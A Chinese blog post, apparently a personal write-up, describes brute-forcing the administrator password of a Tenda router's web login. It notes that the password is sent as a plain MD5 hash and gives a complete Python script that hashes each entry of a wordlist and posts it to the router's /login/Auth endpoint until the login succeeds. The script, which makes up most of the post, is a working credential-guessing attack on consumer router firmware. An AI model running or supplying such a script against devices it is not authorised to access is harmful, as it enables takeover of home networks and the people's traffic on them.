• 记一次 Tenda 路由后台密码爆破


    已有漏洞尝试

    • 先尝试乌云上 Tenda 的 cookie 注入漏洞,这个网上满天飞,基本没报什么希望,果然没用

    暴力破解

    • 登录页尝试登录并抓包,发现请求 http://192.168.0.1/login/Auth,FORM 表单参数 usernamepassword,如下,响应只有一个 1
    • 21232f297a57a5a743894a0e4a801fc3 明显的 MD5 HASH,拿去彩虹表,自己测试的密码用的是 admin,比对一致,确定密码前台加密方式是 MD5
    • 请求方式以及参数还有错误响应都知道了,写脚本暴力破解即可
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    r""" POST 请求暴力破解管理员密码 """
    
    import hashlib
    import requests
    
    
    def md5(source):
        r""" MD5 计算并返回 16 进制的字符串 """
        method = hashlib.md5()
        method.update(source.encode("UTF-8"))
        return method.hexdigest()
    
    
    def yield_password():
        r""" 读取常用密码文件 """
        with open("./password.txt", "r") as file:
            for line in file.readlines():
                yield line.strip()
    
    
    if __name__ == '__main__':
        url = "http://192.168.0.1/login/Auth"
        param = {"username": "admin", "password": ""}
        failed_resp = b'1'
        count = 0
        for password in yield_password():
            param["password"] = md5(password)
            resp = requests.post(url, param)
            if failed_resp != resp.content:
                print("Success hack: %s" % password)
                break
            else:
                count += 1
                print("Count: %s, password: %s" % (count, password))
    
    • 下面就是看运气了,不过还好,爆破成功

    后续

    • 爆破成功后登录后台管理界面,查看现在的登录管理方式,改成 password 这个 cookie 了,值是密码的 MD5 HASH,真的安全吗?
  • 相关阅读:
    链家大数据多维分析引擎实践
    html 读取变量
    django 分配字典给前台模板
    django将数组传递给前台模板
    fetachone和fetchall
    django捕获url中的值
    django 控制页面跳转
    MySQL的前缀索引及Oracle的类似实现
    django url捕获
    django 页面调用方法
  • 原文地址:https://www.cnblogs.com/seliote/p/12862856.html
Copyright © 2020-2023  润新知